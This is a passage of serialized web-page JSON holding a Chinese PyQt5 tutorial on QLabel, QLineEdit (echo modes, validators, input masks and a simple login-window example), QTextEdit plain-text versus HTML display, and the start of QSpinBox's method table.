\n",{"type":18,"tag":297,"props":56422,"children":56423},{"class":299,"line":657},[56424],{"type":18,"tag":297,"props":56425,"children":56426},{},[56427],{"type":24,"value":56428},"self.label.setPixmap(QPixmap('test.png'))  # 为Label设置图片\n",{"type":18,"tag":337,"props":56430,"children":56432},{"id":56431},"_6获取标签文本",[56433],{"type":24,"value":56434},"6）获取标签文本",{"type":18,"tag":34,"props":56436,"children":56437},{},[56438,56440,56445,56447,56452,56453,56458,56460,56465],{"type":24,"value":56439},"获取",{"type":18,"tag":74,"props":56441,"children":56443},{"className":56442},[],[56444],{"type":24,"value":45647},{"type":24,"value":56446},"标签中的文本需要使用",{"type":18,"tag":74,"props":56448,"children":56450},{"className":56449},[],[56451],{"type":24,"value":46249},{"type":24,"value":43752},{"type":18,"tag":74,"props":56454,"children":56456},{"className":56455},[],[56457],{"type":24,"value":44060},{"type":24,"value":56459},"，例如，在控制台中打印",{"type":18,"tag":74,"props":56461,"children":56463},{"className":56462},[],[56464],{"type":24,"value":45647},{"type":24,"value":56466},"中的文本，代码如下：",{"type":18,"tag":287,"props":56468,"children":56470},{"className":28710,"code":56469,"language":28712,"meta":8,"style":8},"print(self.label.text())\n",[56471],{"type":18,"tag":74,"props":56472,"children":56473},{"__ignoreMap":8},[56474],{"type":18,"tag":297,"props":56475,"children":56476},{"class":299,"line":300},[56477],{"type":18,"tag":297,"props":56478,"children":56479},{},[56480],{"type":24,"value":56469},{"type":18,"tag":19,"props":56482,"children":56484},{"id":56483},"_2lineedit单行文本框",[56485,56486,56491],{"type":24,"value":42997},{"type":18,"tag":74,"props":56487,"children":56489},{"className":56488},[],[56490],{"type":24,"value":55485},{"type":24,"value":56492},"：单行文本框",{"type":18,"tag":121,"props":56494,"children":56495},{},[],{"type":18,"tag":34,"props":56497,"children":56498},{},[56499,56504,56506,56511,56512,56518],{"type":18,"tag":74,"props":56500,"children":56502},{"className":56501},[],[56503],{"type":24,"value":55485},{"type":24,"value":56505},"是单行文本框，该控件只能输入单行字符串。",{"type":18,"tag":74,"props":56507,"children":56509},{"className":56508},[],[56510],{"type":24,"value":55485},{"type":24,"value":41483},{"type":18,"tag":74,"props":56513,"children":56515},{"className":56514},[],[56516],{"type":24,"value":56517},"QLineEdit",{"type":24,"value":48168},{"type":18,"tag":431,"props":56520,"children":56521},{},[56522,56542],{"type":18,"tag":435,"props":56523,"children":56524},{},[56525],{"type":18,"tag":439,"props":56526,"children":56527},{},[56528,56535],{"type":18,"tag":443,"props":56529,"children":56530},{},[56531],{"type":18,"tag":105,"props":56532,"children":56533},{},[56534],{"type":24,"value":41518},{"type":18,"tag":443,"props":56536,"children":56537},{},[56538],{"type":18,"tag":105,"props":56539,"children":56540},{},[56541],{"type":24,"value":41526},{"type":18,"tag":459,"props":56543,"children":56544},{},[56545,56557,56569,56582,56595,56607,56620,56633,56707,56765,56802],{"type":18,"tag":439,"props":56546,"children":56547},{},[56548,56552],{"type":18,"tag":466,"props":56549,"children":56550},{},[56551],{"type":24,"value":43226},{"type":18,"tag":466,"props":56553,"children":56554},{},[56555],{"type":24,"value":56556},"设置文本框内容",{"type":18,"tag":439,"props":56558,"children":56559},{},[56560,56564],{"type":18,"tag":466,"props":56561,"children":56562},{},[56563],{"type":24,"value":43281},{"type":18,"tag":466,"props":56565,"children":56566},{},[56567],{"type":24,"value":56568},"获取文本框内容",{"type":18,"tag":439,"props":56570,"children":56571},{},[56572,56577],{"type":18,"tag":466,"props":56573,"children":56574},{},[56575],{"type":24,"value":56576},"setPlaceholderText()",{"type":18,"tag":466,"props":56578,"children":56579},{},[56580],{"type":24,"value":56581},"设置文本框浮现文字",{"type":18,"tag":439,"props":56583,"children":56584},{},[56585,56590],{"type":18,"tag":466,"props":56586,"children":56587},{},[56588],{"type":24,"value":56589},"setMaxLength()",{"type":18,"tag":466,"props":56591,"children":56592},{},[56593],{"type":24,"value":56594},"设置允许文本框内输入字符的最大长度",{"type":18,"tag":439,"props":56596,"children":56597},{},[56598,56602],{"type":18,"tag":466,"props":56599,"children":56600},{},[56601],{"type":24,"value":44362},{"type":18,"tag":466,"props":56603,"children":56604},{},[56605],{"type":24,"value":56606},"设置文本对齐方式",{"type":18,"tag":439,"props":56608,"children":56609},{},[56610,56615],{"type":18,"tag":466,"props":56611,"children":56612},{},[56613],{"type":24,"value":56614},"setReadOnly()",{"type":18,"tag":466,"props":56616,"children":56617},{},[56618],{"type":24,"value":56619},"设置文本框只读",{"type":18,"tag":439,"props":56621,"children":56622},{},[56623,56628],{"type":18,"tag":466,"props":56624,"children":56625},{},[56626],{"type":24,"value":56627},"setFocus()",{"type":18,"tag":466,"props":56629,"children":56630},{},[56631],{"type":24,"value":56632},"使文本框得到焦点",{"type":18,"tag":439,"props":56634,"children":56635},{},[56636,56641],{"type":18,"tag":466,"props":56637,"children":56638},{},[56639],{"type":24,"value":56640},"setEchoMode()",{"type":18,"tag":466,"props":56642,"children":56643},{},[56644,56646,56649,56652,56654,56660,56662,56665,56668,56669,56675,56677,56680,56683,56684,56690,56692,56695,56698,56699,56705],{"type":24,"value":56645},"设置文本框显示字符的模式，有以下4种模式：",{"type":18,"tag":6882,"props":56647,"children":56648},{},[],{"type":18,"tag":6882,"props":56650,"children":56651},{},[],{"type":24,"value":56653},"◆ ",{"type":18,"tag":74,"props":56655,"children":56657},{"className":56656},[],[56658],{"type":24,"value":56659},"QLineEdit.Normal",{"type":24,"value":56661},"：正常显示输入的字符，这是默认设置",{"type":18,"tag":6882,"props":56663,"children":56664},{},[],{"type":18,"tag":6882,"props":56666,"children":56667},{},[],{"type":24,"value":56653},{"type":18,"tag":74,"props":56670,"children":56672},{"className":56671},[],[56673],{"type":24,"value":56674},"QLineEdit.NoEcho",{"type":24,"value":56676},"：不显示任何输入的字符，适用于即使符合密码长度也需要保密的密码",{"type":18,"tag":6882,"props":56678,"children":56679},{},[],{"type":18,"tag":6882,"props":56681,"children":56682},{},[],{"type":24,"value":56653},{"type":18,"tag":74,"props":56685,"children":56687},{"className":56686},[],[56688],{"type":24,"value":56689},"QLineEdit.Password",{"type":24,"value":56691},"：显示与平台相关的密码掩码字符，而不是实际输入的字符",{"type":18,"tag":6882,"props":56693,"children":56694},{},[],{"type":18,"tag":6882,"props":56696,"children":56697},{},[],{"type":24,"value":56653},{"type":18,"tag":74,"props":56700,"children":56702},{"className":56701},[],[56703],{"type":24,"value":56704},"QLineEdit.PasswordEchoOnEdit",{"type":24,"value":56706},"：在编辑时显示字符，失去焦点后显示密码掩码字符",{"type":18,"tag":439,"props":56708,"children":56709},{},[56710,56715],{"type":18,"tag":466,"props":56711,"children":56712},{},[56713],{"type":24,"value":56714},"setValidator()",{"type":18,"tag":466,"props":56716,"children":56717},{},[56718,56720,56723,56726,56727,56733,56735,56738,56741,56742,56748,56750,56753,56756,56757,56763],{"type":24,"value":56719},"设置文本框验证器，有以下3种模式：",{"type":18,"tag":6882,"props":56721,"children":56722},{},[],{"type":18,"tag":6882,"props":56724,"children":56725},{},[],{"type":24,"value":56653},{"type":18,"tag":74,"props":56728,"children":56730},{"className":56729},[],[56731],{"type":24,"value":56732},"QIntValidator",{"type":24,"value":56734},"：限制输入整数",{"type":18,"tag":6882,"props":56736,"children":56737},{},[],{"type":18,"tag":6882,"props":56739,"children":56740},{},[],{"type":24,"value":56653},{"type":18,"tag":74,"props":56743,"children":56745},{"className":56744},[],[56746],{"type":24,"value":56747},"QDoubleValidator",{"type":24,"value":56749},"：限制输入小数",{"type":18,"tag":6882,"props":56751,"children":56752},{},[],{"type":18,"tag":6882,"props":56754,"children":56755},{},[],{"type":24,"value":56653},{"type":18,"tag":74,"props":56758,"children":56760},{"className":56759},[],[56761],{"type":24,"value":56762},"QRegExpValidator",{"type":24,"value":56764},"：检查输入是否符合设置的正则表达式",{"type":18,"tag":439,"props":56766,"children":56767},{},[56768,56773],{"type":18,"tag":466,"props":56769,"children":56770},{},[56771],{"type":24,"value":56772},"setInputMask()",{"type":18,"tag":466,"props":56774,"children":56775},{},[56776,56778,56781,56784,56786,56789,56792,56794,56797,56800],{"type":24,"value":56777},"设置掩码，掩码通常由掩码字符和分隔符组成，后面可以跟一个分号和空白字符，空白字符在编辑完成后会从文本框中删除，常用的掩码有以下几种形式：",{"type":18,"tag":6882,"props":56779,"children":56780},{},[],{"type":18,"tag":6882,"props":56782,"children":56783},{},[],{"type":24,"value":56785},"◆ 日期掩码：0000-00-00",{"type":18,"tag":6882,"props":56787,"children":56788},{},[],{"type":18,"tag":6882,"props":56790,"children":56791},{},[],{"type":24,"value":56793},"◆ 时间掩码：00:00:00",{"type":18,"tag":6882,"props":56795,"children":56796},{},[],{"type":18,"tag":6882,"props":56798,"children":56799},{},[],{"type":24,"value":56801},"◆ 序列号掩码：>AAAAA-AAAAA-AAAAA-AAAAA-AAAAA;#",{"type":18,"tag":439,"props":56803,"children":56804},{},[56805,56809],{"type":18,"tag":466,"props":56806,"children":56807},{},[56808],{"type":24,"value":51336},{"type":18,"tag":466,"props":56810,"children":56811},{},[56812],{"type":24,"value":56813},"清除文本框内容",{"type":18,"tag":34,"props":56815,"children":56816},{},[56817,56822],{"type":18,"tag":74,"props":56818,"children":56820},{"className":56819},[],[56821],{"type":24,"value":56517},{"type":24,"value":56823},"类的常用信号及说明如表所示。",{"type":18,"tag":431,"props":56825,"children":56826},{},[56827,56847],{"type":18,"tag":435,"props":56828,"children":56829},{},[56830],{"type":18,"tag":439,"props":56831,"children":56832},{},[56833,56840],{"type":18,"tag":443,"props":56834,"children":56835},{},[56836],{"type":18,"tag":105,"props":56837,"children":56838},{},[56839],{"type":24,"value":46600},{"type":18,"tag":443,"props":56841,"children":56842},{},[56843],{"type":18,"tag":105,"props":56844,"children":56845},{},[56846],{"type":24,"value":41526},{"type":18,"tag":459,"props":56848,"children":56849},{},[56850,56863],{"type":18,"tag":439,"props":56851,"children":56852},{},[56853,56858],{"type":18,"tag":466,"props":56854,"children":56855},{},[56856],{"type":24,"value":56857},"textChanged",{"type":18,"tag":466,"props":56859,"children":56860},{},[56861],{"type":24,"value":56862},"当更改文本框中的内容时发射该信号",{"type":18,"tag":439,"props":56864,"children":56865},{},[56866,56871],{"type":18,"tag":466,"props":56867,"children":56868},{},[56869],{"type":24,"value":56870},"editingFinished",{"type":18,"tag":466,"props":56872,"children":56873},{},[56874,56876],{"type":24,"value":56875},"当文本框中的内容编辑结束时发射该信号，以按下",{"type":18,"tag":56877,"props":56878,"children":56879},"enter",{},[56880],{"type":24,"value":56881},"键为编辑结束标志",{"type":18,"tag":34,"props":56883,"children":56884},{},[56885],{"type":18,"tag":105,"props":56886,"children":56887},{},[56888],{"type":24,"value":56889},"实例 包括用户名和密码的登录窗口",{"type":18,"tag":34,"props":56891,"children":56892},{},[56893,56894,56899,56900,56905,56907,56912],{"type":24,"value":35582},{"type":18,"tag":74,"props":56895,"children":56897},{"className":56896},[],[56898],{"type":24,"value":55485},{"type":24,"value":50086},{"type":18,"tag":74,"props":56901,"children":56903},{"className":56902},[],[56904],{"type":24,"value":45647},{"type":24,"value":56906},"控件制作一个简单的登录窗口，其中包含",{"type":18,"tag":105,"props":56908,"children":56909},{},[56910],{"type":24,"value":56911},"用户名和密码输入框，密码要求是8位数字，并且以掩码形式显示",{"type":24,"value":56913},"，步骤如下：",{"type":18,"tag":34,"props":56915,"children":56916},{},[56917,56919,56924,56926,56931,56933,56938,56939,56944,56946,56951,56952,56958],{"type":24,"value":56918},"1）打开Qt Designer设计器，根据需求，从工具箱中向主窗口中放入两个",{"type":18,"tag":74,"props":56920,"children":56922},{"className":56921},[],[56923],{"type":24,"value":45647},{"type":24,"value":56925},"控件与两个",{"type":18,"tag":74,"props":56927,"children":56929},{"className":56928},[],[56930],{"type":24,"value":55485},{"type":24,"value":56932},"控件，然后分别将两个",{"type":18,"tag":74,"props":56934,"children":56936},{"className":56935},[],[56937],{"type":24,"value":45647},{"type":24,"value":43973},{"type":18,"tag":74,"props":56940,"children":56942},{"className":56941},[],[56943],{"type":24,"value":24},{"type":24,"value":56945},"值修改为",{"type":18,"tag":74,"props":56947,"children":56949},{"className":56948},[],[56950],{"type":24,"value":55660},{"type":24,"value":10315},{"type":18,"tag":74,"props":56953,"children":56955},{"className":56954},[],[56956],{"type":24,"value":56957},"密码：",{"type":24,"value":56959},"，如图所示。",{"type":18,"tag":34,"props":56961,"children":56962},{},[56963],{"type":18,"tag":54,"props":56964,"children":56967},{"alt":56965,"src":56966},"Pasted image 20250828100747","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250828100747.png",[],{"type":18,"tag":34,"props":56969,"children":56970},{},[56971,56973,56978,56980,56985,56987,56992,56994,57000,57002,57008],{"type":24,"value":56972},"2）设计完成后，保存为",{"type":18,"tag":74,"props":56974,"children":56976},{"className":56975},[],[56977],{"type":24,"value":43367},{"type":24,"value":56979},"文件，使用Pyuic工具将其转换为",{"type":18,"tag":74,"props":56981,"children":56983},{"className":56982},[],[56984],{"type":24,"value":42560},{"type":24,"value":56986},"文件，并在表示密码的",{"type":18,"tag":74,"props":56988,"children":56990},{"className":56989},[],[56991],{"type":24,"value":55485},{"type":24,"value":56993},"文本框下面使用",{"type":18,"tag":74,"props":56995,"children":56997},{"className":56996},[],[56998],{"type":24,"value":56999},"setEchoMode()方法",{"type":24,"value":57001},"将其设置为密码文本，同时使用",{"type":18,"tag":74,"props":57003,"children":57005},{"className":57004},[],[57006],{"type":24,"value":57007},"setValidator()方法",{"type":24,"value":57009},"为其设置验证器，控制只能输入8位数字，代码如下：",{"type":18,"tag":287,"props":57011,"children":57013},{"className":28710,"code":57012,"language":28712,"meta":8,"style":8},"# 设置文本框为密码  \nself.lineEdit_2.setEchoMode(QtWidgets.QLineEdit.Password)  \n# 设置只能输入8位数字  \nself.lineEdit_2.setValidator(QtGui.QIntValidator(10000000, 99999999))\n",[57014],{"type":18,"tag":74,"props":57015,"children":57016},{"__ignoreMap":8},[57017,57025,57033,57041],{"type":18,"tag":297,"props":57018,"children":57019},{"class":299,"line":300},[57020],{"type":18,"tag":297,"props":57021,"children":57022},{},[57023],{"type":24,"value":57024},"# 设置文本框为密码  \n",{"type":18,"tag":297,"props":57026,"children":57027},{"class":299,"line":657},[57028],{"type":18,"tag":297,"props":57029,"children":57030},{},[57031],{"type":24,"value":57032},"self.lineEdit_2.setEchoMode(QtWidgets.QLineEdit.Password)  \n",{"type":18,"tag":297,"props":57034,"children":57035},{"class":299,"line":662},[57036],{"type":18,"tag":297,"props":57037,"children":57038},{},[57039],{"type":24,"value":57040},"# 设置只能输入8位数字  \n",{"type":18,"tag":297,"props":57042,"children":57043},{"class":299,"line":799},[57044],{"type":18,"tag":297,"props":57045,"children":57046},{},[57047],{"type":24,"value":57048},"self.lineEdit_2.setValidator(QtGui.QIntValidator(10000000, 99999999))\n",{"type":18,"tag":34,"props":57050,"children":57051},{},[57052,57054,57059],{"type":24,"value":57053},"3）为",{"type":18,"tag":74,"props":57055,"children":57057},{"className":57056},[],[57058],{"type":24,"value":42560},{"type":24,"value":57060},"文件添加程序入口，代码如下：",{"type":18,"tag":287,"props":57062,"children":57064},{"className":28710,"code":57063,"language":28712,"meta":8,"style":8},"import sys  \n# 程序入口，程序从此处启动PyQt设计的窗体  \nif __name__ == '__main__':  \n   app = QtWidgets.QApplication(sys.argv)  \n   MainWindow = QtWidgets.QMainWindow() # 创建窗体对象  \n   ui = Ui_MainWindow()          # 创建PyQt设计的窗体对象  \n   ui.setupUi(MainWindow)        # 调用PyQt窗体的方法对窗体对象进行初始化设置  \n   MainWindow.show()             # 显示窗体  \n   sys.exit(app.exec_())         # 程序关闭时退出进程\n",[57065],{"type":18,"tag":74,"props":57066,"children":57067},{"__ignoreMap":8},[57068,57075,57082,57089,57096,57103,57111,57119,57127],{"type":18,"tag":297,"props":57069,"children":57070},{"class":299,"line":300},[57071],{"type":18,"tag":297,"props":57072,"children":57073},{},[57074],{"type":24,"value":42415},{"type":18,"tag":297,"props":57076,"children":57077},{"class":299,"line":657},[57078],{"type":18,"tag":297,"props":57079,"children":57080},{},[57081],{"type":24,"value":42423},{"type":18,"tag":297,"props":57083,"children":57084},{"class":299,"line":662},[57085],{"type":18,"tag":297,"props":57086,"children":57087},{},[57088],{"type":24,"value":42431},{"type":18,"tag":297,"props":57090,"children":57091},{"class":299,"line":799},[57092],{"type":18,"tag":297,"props":57093,"children":57094},{},[57095],{"type":24,"value":42439},{"type":18,"tag":297,"props":57097,"children":57098},{"class":299,"line":808},[57099],{"type":18,"tag":297,"props":57100,"children":57101},{},[57102],{"type":24,"value":45450},{"type":18,"tag":297,"props":57104,"children":57105},{"class":299,"line":817},[57106],{"type":18,"tag":297,"props":57107,"children":57108},{},[57109],{"type":24,"value":57110},"   ui = Ui_MainWindow()          # 创建PyQt设计的窗体对象  \n",{"type":18,"tag":297,"props":57112,"children":57113},{"class":299,"line":826},[57114],{"type":18,"tag":297,"props":57115,"children":57116},{},[57117],{"type":24,"value":57118},"   ui.setupUi(MainWindow)        # 调用PyQt窗体的方法对窗体对象进行初始化设置  \n",{"type":18,"tag":297,"props":57120,"children":57121},{"class":299,"line":4524},[57122],{"type":18,"tag":297,"props":57123,"children":57124},{},[57125],{"type":24,"value":57126},"   MainWindow.show()             # 显示窗体  \n",{"type":18,"tag":297,"props":57128,"children":57129},{"class":299,"line":4533},[57130],{"type":18,"tag":297,"props":57131,"children":57132},{},[57133],{"type":24,"value":57134},"   sys.exit(app.exec_())         # 程序关闭时退出进程\n",{"type":18,"tag":34,"props":57136,"children":57137},{},[57138],{"type":24,"value":42487},{"type":18,"tag":34,"props":57140,"children":57141},{},[57142],{"type":18,"tag":54,"props":57143,"children":57146},{"alt":57144,"src":57145},"Pasted image 20250828101647","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250828101647.png",[],{"type":18,"tag":96,"props":57148,"children":57149},{},[57150],{"type":18,"tag":34,"props":57151,"children":57152},{},[57153,57157],{"type":18,"tag":105,"props":57154,"children":57155},{},[57156],{"type":24,"value":33435},{"type":24,"value":57158}," 说明\n当在密码文本框中输入字母或者超过8位数字时，系统将自动控制其输入，文本框中不会显示任何内容。",{"type":18,"tag":96,"props":57160,"children":57161},{},[57162],{"type":18,"tag":34,"props":57163,"children":57164},{},[57165,57169,57170,57175,57177,57182,57184,57189],{"type":18,"tag":105,"props":57166,"children":57167},{},[57168],{"type":24,"value":44648},{"type":24,"value":53929},{"type":18,"tag":74,"props":57171,"children":57173},{"className":57172},[],[57174],{"type":24,"value":56857},{"type":24,"value":57176},"信号在一些要求输入值时实时执行操作的场景下经常使用，比如上网购物时，更改购买的商品数量或者价格，总价格都会实时变化，如果用PyQt5设计类似这样的功能，就可以通过",{"type":18,"tag":74,"props":57178,"children":57180},{"className":57179},[],[57181],{"type":24,"value":55485},{"type":24,"value":57183},"控件中的",{"type":18,"tag":74,"props":57185,"children":57187},{"className":57186},[],[57188],{"type":24,"value":56857},{"type":24,"value":57190},"信号实现。",{"type":18,"tag":19,"props":57192,"children":57194},{"id":57193},"_3textedit多行文本框",[57195,57196,57201],{"type":24,"value":52009},{"type":18,"tag":74,"props":57197,"children":57199},{"className":57198},[],[57200],{"type":24,"value":55492},{"type":24,"value":57202},"：多行文本框",{"type":18,"tag":121,"props":57204,"children":57205},{},[],{"type":18,"tag":34,"props":57207,"children":57208},{},[57209,57214,57216,57221],{"type":18,"tag":74,"props":57210,"children":57212},{"className":57211},[],[57213],{"type":24,"value":55492},{"type":24,"value":57215},"是多行文本框控件，主要用来显示多行的文本内容，当文本内容超出控件的显示范围时，该控件将显示垂直滚动条；另外，",{"type":18,"tag":74,"props":57217,"children":57219},{"className":57218},[],[57220],{"type":24,"value":55492},{"type":24,"value":57222},"控件不仅可以显示纯文本内容，还支持显示HTML网页。",{"type":18,"tag":34,"props":57224,"children":57225},{},[57226,57231,57232,57238],{"type":18,"tag":74,"props":57227,"children":57229},{"className":57228},[],[57230],{"type":24,"value":55492},{"type":24,"value":41483},{"type":18,"tag":74,"props":57233,"children":57235},{"className":57234},[],[57236],{"type":24,"value":57237},"QTextEdit",{"type":24,"value":48168},{"type":18,"tag":431,"props":57240,"children":57241},{},[57242,57262],{"type":18,"tag":435,"props":57243,"children":57244},{},[57245],{"type":18,"tag":439,"props":57246,"children":57247},{},[57248,57255],{"type":18,"tag":443,"props":57249,"children":57250},{},[57251],{"type":18,"tag":105,"props":57252,"children":57253},{},[57254],{"type":24,"value":41518},{"type":18,"tag":443,"props":57256,"children":57257},{},[57258],{"type":18,"tag":105,"props":57259,"children":57260},{},[57261],{"type":24,"value":41526},{"type":18,"tag":459,"props":57263,"children":57264},{},[57265,57278,57291,57309,57322,57335,57348,57360],{"type":18,"tag":439,"props":57266,"children":57267},{},[57268,57273],{"type":18,"tag":466,"props":57269,"children":57270},{},[57271],{"type":24,"value":57272},"setPlainText()",{"type":18,"tag":466,"props":57274,"children":57275},{},[57276],{"type":24,"value":57277},"设置文本内容",{"type":18,"tag":439,"props":57279,"children":57280},{},[57281,57286],{"type":18,"tag":466,"props":57282,"children":57283},{},[57284],{"type":24,"value":57285},"toPlainText()",{"type":18,"tag":466,"props":57287,"children":57288},{},[57289],{"type":24,"value":57290},"获取文本内容",{"type":18,"tag":439,"props":57292,"children":57293},{},[57294,57299],{"type":18,"tag":466,"props":57295,"children":57296},{},[57297],{"type":24,"value":57298},"setTextColor()",{"type":18,"tag":466,"props":57300,"children":57301},{},[57302,57304,57307],{"type":24,"value":57303},"设置文本颜色，例如，将文本设置为红色，可以将该方法的参数设置为  ",{"type":18,"tag":6882,"props":57305,"children":57306},{},[],{"type":24,"value":57308},"QtGui.QColor(255,0,0)",{"type":18,"tag":439,"props":57310,"children":57311},{},[57312,57317],{"type":18,"tag":466,"props":57313,"children":57314},{},[57315],{"type":24,"value":57316},"setTextBackgroundColor()",{"type":18,"tag":466,"props":57318,"children":57319},{},[57320],{"type":24,"value":57321},"设置文本的背景颜色，颜色参数与setTextColor()相同",{"type":18,"tag":439,"props":57323,"children":57324},{},[57325,57330],{"type":18,"tag":466,"props":57326,"children":57327},{},[57328],{"type":24,"value":57329},"setHtml()",{"type":18,"tag":466,"props":57331,"children":57332},{},[57333],{"type":24,"value":57334},"设置HTML文档内容",{"type":18,"tag":439,"props":57336,"children":57337},{},[57338,57343],{"type":18,"tag":466,"props":57339,"children":57340},{},[57341],{"type":24,"value":57342},"toHtml()",{"type":18,"tag":466,"props":57344,"children":57345},{},[57346],{"type":24,"value":57347},"获取HTML文档内容",{"type":18,"tag":439,"props":57349,"children":57350},{},[57351,57356],{"type":18,"tag":466,"props":57352,"children":57353},{},[57354],{"type":24,"value":57355},"setWordWrapMode()",{"type":18,"tag":466,"props":57357,"children":57358},{},[57359],{"type":24,"value":41776},{"type":18,"tag":439,"props":57361,"children":57362},{},[57363,57367],{"type":18,"tag":466,"props":57364,"children":57365},{},[57366],{"type":24,"value":51336},{"type":18,"tag":466,"props":57368,"children":57369},{},[57370],{"type":24,"value":57371},"清除所有内容",{"type":18,"tag":34,"props":57373,"children":57374},{},[57375],{"type":18,"tag":105,"props":57376,"children":57377},{},[57378],{"type":24,"value":57379},"实例 设置多行文本和HTML文本的对比显示",{"type":18,"tag":34,"props":57381,"children":57382},{},[57383,57384,57389,57391,57396,57397,57402,57404,57409,57410,57415,57417,57423,57424,57430,57432,57437],{"type":24,"value":54047},{"type":18,"tag":74,"props":57385,"children":57387},{"className":57386},[],[57388],{"type":24,"value":54053},{"type":24,"value":57390},"窗口，其中添加两个",{"type":18,"tag":74,"props":57392,"children":57394},{"className":57393},[],[57395],{"type":24,"value":55492},{"type":24,"value":43361},{"type":18,"tag":74,"props":57398,"children":57400},{"className":57399},[],[57401],{"type":24,"value":43367},{"type":24,"value":57403},"文件，使用Pyuic工具将",{"type":18,"tag":74,"props":57405,"children":57407},{"className":57406},[],[57408],{"type":24,"value":43367},{"type":24,"value":55711},{"type":18,"tag":74,"props":57411,"children":57413},{"className":57412},[],[57414],{"type":24,"value":42560},{"type":24,"value":57416},"文件，然后分别使用",{"type":18,"tag":74,"props":57418,"children":57420},{"className":57419},[],[57421],{"type":24,"value":57422},"setPlainText()方法",{"type":24,"value":10315},{"type":18,"tag":74,"props":57425,"children":57427},{"className":57426},[],[57428],{"type":24,"value":57429},"setHtml()方法",{"type":24,"value":57431},"为两个",{"type":18,"tag":74,"props":57433,"children":57435},{"className":57434},[],[57436],{"type":24,"value":55492},{"type":24,"value":57438},"控件设置要显示的文本内容，代码如下：",{"type":18,"tag":287,"props":57440,"children":57442},{"className":28710,"code":57441,"language":28712,"meta":8,"style":8},"# 设置纯文本显示  \nself.textEdit.setPlainText(\"与失败比起来，我对乏味和平庸的恐惧要严重得多。对我而言，很好的事要比糟糕的事好，而糟糕的事要比平庸的事好，因为糟糕的事至少给生活增加了滋味。\")  \n# 设置HTML文本显示  \nself.textEdit_2.setHtml(\"与失败比起来，我对乏味和平庸的恐惧要严重得多。对我而言，\u003Cfont color='red' size=12>很好的事要比糟糕的事好，而糟糕的事要比平庸的事好，\u003C\u002Ffont>因为糟糕的事至少给生活增加了滋味。\")\n",[57443],{"type":18,"tag":74,"props":57444,"children":57445},{"__ignoreMap":8},[57446,57454,57462,57470],{"type":18,"tag":297,"props":57447,"children":57448},{"class":299,"line":300},[57449],{"type":18,"tag":297,"props":57450,"children":57451},{},[57452],{"type":24,"value":57453},"# 设置纯文本显示  \n",{"type":18,"tag":297,"props":57455,"children":57456},{"class":299,"line":657},[57457],{"type":18,"tag":297,"props":57458,"children":57459},{},[57460],{"type":24,"value":57461},"self.textEdit.setPlainText(\"与失败比起来，我对乏味和平庸的恐惧要严重得多。对我而言，很好的事要比糟糕的事好，而糟糕的事要比平庸的事好，因为糟糕的事至少给生活增加了滋味。\")  \n",{"type":18,"tag":297,"props":57463,"children":57464},{"class":299,"line":662},[57465],{"type":18,"tag":297,"props":57466,"children":57467},{},[57468],{"type":24,"value":57469},"# 设置HTML文本显示  \n",{"type":18,"tag":297,"props":57471,"children":57472},{"class":299,"line":799},[57473],{"type":18,"tag":297,"props":57474,"children":57475},{},[57476],{"type":24,"value":57477},"self.textEdit_2.setHtml(\"与失败比起来，我对乏味和平庸的恐惧要严重得多。对我而言，\u003Cfont color='red' size=12>很好的事要比糟糕的事好，而糟糕的事要比平庸的事好，\u003C\u002Ffont>因为糟糕的事至少给生活增加了滋味。\")\n",{"type":18,"tag":34,"props":57479,"children":57480},{},[57481,57482,57487],{"type":24,"value":48801},{"type":18,"tag":74,"props":57483,"children":57485},{"className":57484},[],[57486],{"type":24,"value":42560},{"type":24,"value":52742},{"type":18,"tag":34,"props":57489,"children":57490},{},[57491],{"type":18,"tag":54,"props":57492,"children":57495},{"alt":57493,"src":57494},"Pasted image 20250828102841","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250828102841.png",[],{"type":18,"tag":19,"props":57497,"children":57499},{"id":57498},"_4spinbox整数数字选择控件",[57500,57501,57506],{"type":24,"value":54120},{"type":18,"tag":74,"props":57502,"children":57504},{"className":57503},[],[57505],{"type":24,"value":55499},{"type":24,"value":57507},"：整数数字选择控件",{"type":18,"tag":121,"props":57509,"children":57510},{},[],{"type":18,"tag":34,"props":57512,"children":57513},{},[57514,57519,57521,57526],{"type":18,"tag":74,"props":57515,"children":57517},{"className":57516},[],[57518],{"type":24,"value":55499},{"type":24,"value":57520},"是一个整数数字选择控件，该控件提供了一对上下箭头，用户可以单击上下箭头选择数值，也可以直接输入。如果输入的数值大于设置的最大值，或者小于设置的最小值，",{"type":18,"tag":74,"props":57522,"children":57524},{"className":57523},[],[57525],{"type":24,"value":55499},{"type":24,"value":57527},"将不会接受输入。",{"type":18,"tag":34,"props":57529,"children":57530},{},[57531,57536,57537,57543],{"type":18,"tag":74,"props":57532,"children":57534},{"className":57533},[],[57535],{"type":24,"value":55499},{"type":24,"value":41483},{"type":18,"tag":74,"props":57538,"children":57540},{"className":57539},[],[57541],{"type":24,"value":57542},"QSpinBox",{"type":24,"value":48168},{"type":18,"tag":431,"props":57545,"children":57546},{},[57547,57567],{"type":18,"tag":435,"props":57548,"children":57549},{},[57550],{"type":18,"tag":439,"props":57551,"children":57552},{},[57553,57560],{"type":18,"tag":443,"props":57554,"children":57555},{},[57556],{"type":18,"tag":105,"props":57557,"children":57558},{},[57559],{"type":24,"value":41518},{"type":18,"tag":443,"props":57561,"children":57562},{},[57563],{"type":18,"tag":105,"props":57564,"children":57565},{},[57566],{"type":24,"value":41526},{"type":18,"tag":459,"props":57568,"children":57569},{},[57570,57582,57594,57606,57618,57630],{"type":18,"tag":439,"props":57571,"children":57572},{},[57573,57577],{"type":18,"tag":466,"props":57574,"children":57575},{},[57576],{"type":24,"value":44312},{"type":18,"tag":466,"props":57578,"children":57579},{},[57580],{"type":24,"value":57581},"设置控件的当前值",{"type":18,"tag":439,"props":57583,"children":57584},{},[57585,57589],{"type":18,"tag":466,"props":57586,"children":57587},{},[57588],{"type":24,"value":44286},{"type":18,"tag":466,"props":57590,"children":57591},{},[57592],{"type":24,"value":57593},"设置最大值",{"type":18,"tag":439,"props":57595,"children":57596},{},[57597,57601],{"type":18,"tag":466,"props":57598,"children":57599},{},[57600],{"type":24,"value":44273},{"type":18,"tag":466,"props":57602,"children":57603},{},[57604],{"type":24,"value":57605},"设置最小值",{"type":18,"tag":439,"props":57607,"children":57608},{},[57609,57613],{"type":18,"tag":466,"props":57610,"children":57611},{},[57612],{"type":24,"value":44299},{"type":18,"tag":466,"props":57614,"children":57615},{},[57616],{"type":24,"value":57617},"设置取值范围（包括最大值和最小值）",{"type":18,"tag":439,"props":57619,"children":57620},{},[57621,57625],{